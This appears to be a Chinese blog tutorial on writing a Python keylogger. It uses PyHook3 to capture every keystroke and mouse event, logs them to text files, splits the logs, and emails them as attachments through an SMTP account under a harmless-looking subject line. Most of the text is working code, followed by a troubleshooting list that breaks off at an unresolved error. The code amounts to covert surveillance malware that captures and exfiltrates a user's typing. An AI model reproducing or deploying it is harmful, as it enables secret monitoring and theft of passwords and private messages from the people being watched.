Python监听键盘和鼠标事件，并发送内容至邮箱！

一. 环境以及工具

环境：win10，Python3.6

工具：JetBrains PyCharm 2018.1.4

二. 使用的第三方库：

import os
import smtplib  #发送邮件
import time
import threading
import email复制代码

下面这三个库主要用来监听：

import PyHook3
import pythoncom
from past.builtins import xrange复制代码

若环境没有自带以上第三方库，可以参照如下图示方法导入，或者自行谷歌

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三. 实现监听键盘、鼠标动作

使用PyHook3、pythoncom库监听键盘、鼠标事件

# 创建监听对象
    manager = PyHook3.HookManager()

    # 监听所有键盘事件
    manager.KeyDown = on_keyboard_event
    # 设置键盘监听
    manager.HookKeyboard()

    # 循环监听, 若不手动关闭, 程序将一直处于监听状态
    pythoncom.PumpMessages()复制代码

on_keyboard_event是用来打印监听信息的函数

def on_keyboard_event(event):
    """
    监听键盘事件
    :param event:
    :return: 同鼠标监听事件的返回值
    """

    print('================== start listening keyboard ====================') print('MessageName: ', event.MessageName) print('Message: ', event.Message) print('Time: ', event.Time) print('Window: ', event.Window) print('Ascii: ', event.Ascii, chr(event.Ascii)) print('Key: ', event.Key) print('KeyID: ', event.KeyID) print('ScanCode: ', event.ScanCode) print('Extended: ', event.Extended) print('Injected: ', event.Injected) print('Alt: ', event.Alt) print('Transition: ', event.Transition) print('================== start listening keyboard ====================') return True复制代码

返回“True”，用于持续监听，监听鼠标的实现与监听键盘类似。

四. 将监听信息写入文件

将打印在控制台的监听键盘信息写入到当前目录的txt文件中

def on_keyboard_event(event):
    """
    将监听的键盘信息写入文件
    :param event:
    :return:
    """
    with open('./keyboard.txt', 'a+') as f: f.write( '事件: ' + event.MessageName + ', 时间: ' + format_time() + ', 窗口信息: ' + str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n') return True复制代码

五. 分割监听信息文件

按照文件内容分割，而不是按照文件大小。因为按照文件大小分割时，部分相连的内容将会被分割到两个文件中。

def split_file(self):
        """
        按照内容行数分割
        :return:
        """
        with open(self.fileName + '.txt', 'r') as f: global index while 1: index += 1 try: with open(self.fileName + '_%d.txt' % index, 'w') as temp: for _ in xrange(self.Size): temp.write(f.__next__()) except StopIteration: break def timer_split_file(self): """ 超过指定行数则分割 :return: """ with open(self.fileName + '.txt', 'r') as f: lines = f.readlines() if lines.__len__() > self.Size: self.split_file()复制代码

六. 将监听信息发送到指定邮箱

利用邮箱相互发送邮件的方式发送监听信息，所以必须开启发送者邮箱的POP3/SMTP服务。监听信息文件以附件的形式发送。若开启了POP3/SMTP服务，而接受者没有看到邮件，可能邮件在接受者邮箱的垃圾箱中。

@staticmethod
    def send_email():
        host = 'smtp.163.com' # 设置邮件服务器 user = 'svip*****@163.com' # 发送者 password = 'smt*****1' # 客户端授权密码 sender = 'svip******@163.com' # 匿名发送 receiver = ['1341****[email protected]'] # 接收邮件 # 构造邮件对象 msg = MIMEMultipart('alternative') msg['From'] = sender msg['To'] = ";".join(receiver) msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8') msg['Message-id'] = make_msgid() msg['Date'] = formatdate() message = MIMEText('this is today content', 'plain', 'utf-8') msg.attach(message) # 构造附件对象,发送鼠标监听信息 if index != 0: for num in range(1, index + 1): mouse_file_name = './mouse_' + str(num) + '.txt' mouse_file = open(mouse_file_name, 'rb').read() mouse_send = MIMEText(mouse_file, 'base64', 'utf-8') mouse_send['Content-Type'] = 'application/octet-stream' mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name msg.attach(mouse_send) # 发送键盘监听信息 key_file = open('./keyboard.txt', 'rb').read() key_send = MIMEText(key_file, 'base64', 'utf-8') key_send['Content-Type'] = 'application/octet-stream' key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt' msg.attach(key_send) # 发送邮件 try: mail = smtplib.SMTP_SSL(host, 465) mail.login(user, password) mail.sendmail(sender, receiver, msg.as_string()) mail.quit() except smtplib.SMTPException: # 异常信息不捕获 pass复制代码

七. bug and solve

Warning 01:

This inspection detects any methods which may safely be made static.

Solution 01:

在方法上面加: @staticmethod

Error 02:

TypeError: main() missing 1 required positional argument: 'self'

Solution 02:

先实例化类, 再使用类

e.g.

listening = Listening()

listening.main()

Error 03:

TypeError: 'float' object is not callable

Solution 03:

变量名与方法名冲突,或者与关键字冲突

Error 04:

email.errors.MultipartConversionError:Cannot attach additional subparts to non-multipart/*

Solution 04:

没有创建带附件的实例

e.g.

msg = MIMEMultipart('mixed')

Error 05:

使用smtp.qq.com发送邮件时:Connection unexpectedly closed

Solution 05:

发送者邮箱没有开启POP3/SMTP服务

e.g.

​

Error 06:

smtplib.SMTPHeloError: (500, b'Error: bad syntax')